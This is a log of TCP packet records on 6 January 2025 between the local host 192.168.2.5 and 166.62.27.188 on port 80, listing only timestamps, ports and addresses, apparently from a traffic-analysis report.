Jan 6, 2025 07:54:05.433753014 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.438313007 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.438327074 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.438340902 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.438352108 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.438539982 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.657927036 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.657939911 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658036947 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.658051968 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658066034 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658078909 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658092022 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658111095 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.658176899 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.658652067 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658667088 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658678055 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.658730984 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.658962965 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659008980 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659018993 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659032106 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659040928 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.659085989 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.659584999 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659596920 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659603119 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659641981 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659652948 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659663916 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.659672022 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.659698009 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.660537958 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.660608053 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.660620928 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.660624981 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.660635948 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.660648108 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.660676003 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.660727024 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.662875891 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.707078934 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.882684946 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.882710934 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.882723093 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.882734060 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.882747889 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.882757902 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.882783890 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.882860899 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.882949114 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.882992983 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883063078 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883083105 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883093119 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883093119 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.883208990 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.883399963 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883416891 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883428097 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883439064 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883640051 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.883807898 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883820057 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883830070 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883840084 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.883868933 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.883963108 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.884171009 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884182930 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884192944 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884222031 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.884253979 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.884264946 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884278059 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884288073 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884299040 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884310007 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.884325027 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.884351969 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.885255098 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885267973 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885277987 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885289907 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885299921 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885309935 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885314941 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.885319948 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885328054 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.885334969 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.885340929 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.885365963 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.886012077 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886029005 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886039972 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886049032 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886061907 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886075974 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886086941 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886091948 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.886091948 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.886100054 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886183977 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.886832952 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886879921 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.886883020 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.924216032 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.924232006 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.924243927 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.924276114 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.924341917 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:05.924343109 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:05.978001118 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107063055 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107080936 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107093096 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107104063 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107136965 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107171059 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107176065 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107187033 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107215881 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107225895 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107264996 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107278109 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107306957 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107417107 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107465982 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107476950 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107491970 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107507944 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107507944 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107539892 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107553959 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107741117 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107791901 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107804060 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107835054 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.107860088 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107871056 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.107909918 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108055115 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108067989 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108078957 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108105898 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108144999 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108155012 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108158112 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108169079 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108180046 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108205080 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108223915 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108232021 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108237028 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108354092 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108650923 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108664036 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108675003 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108710051 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108735085 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108747005 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108757973 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108769894 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108782053 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108787060 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108795881 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.108802080 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.108822107 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.109198093 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109216928 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109227896 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109239101 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109245062 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.109262943 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.109280109 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109319925 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.109759092 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109853983 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109864950 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109877110 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109888077 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109898090 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.109905005 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.109921932 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.109935045 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.110009909 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110052109 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110068083 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110110044 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110110998 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.110126972 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110137939 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110161066 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.110168934 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110181093 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110183001 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.110198975 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110212088 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110224962 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.110235929 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.110254049 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112196922 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112209082 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112219095 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112230062 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112246990 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112277031 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112374067 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112385988 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112396955 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112406969 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112416029 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112418890 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112442017 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112451077 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112454891 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112466097 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112477064 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112478018 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112489939 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112500906 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112508059 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112514019 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.112535954 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.112581015 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.113120079 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.113137960 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.113149881 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.113159895 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.113171101 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.113172054 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.113183975 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.113198042 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.113214016 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.113230944 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.113253117 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.130507946 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.198734045 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.198755980 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.198767900 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.198807001 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.198826075 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.198838949 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.198851109 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.198878050 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.198931932 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.198988914 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.198999882 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199011087 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199023008 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199033022 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199044943 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199045897 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.199057102 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199068069 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199079990 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.199083090 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.199107885 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.248100042 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.331815004 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.331835032 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.331849098 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.331885099 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.331921101 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.331933022 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.331944942 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.331974983 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332005024 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332072020 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332082987 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332119942 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332170010 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332181931 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332197905 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332227945 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332250118 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332262039 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332273006 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332283974 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332293034 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332298040 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332298994 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332312107 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332319021 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332360983 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332380056 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332393885 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332403898 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332416058 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332426071 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332453966 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332473040 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332485914 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332523108 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332540035 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332556009 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332566977 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332577944 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332607031 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332623005 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332634926 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332639933 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332660913 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332670927 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332673073 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332689047 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332701921 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332712889 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332724094 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332724094 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332752943 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332752943 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332787037 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332798958 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332811117 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332837105 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332843065 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332849026 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332885981 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.332937956 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332948923 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332961082 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332973003 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332983971 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.332983971 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333007097 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333029032 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333095074 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333106995 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333117962 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333146095 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333148956 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333158016 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333169937 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333189011 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333200932 CET	49713	80	192.168.2.5	166.62.27.188
Jan 6, 2025 07:54:06.333201885 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333280087 CET	80	49713	166.62.27.188	192.168.2.5
Jan 6, 2025 07:54:06.333291054 CET	80	49713	166.62.27.188	192.168.2.5
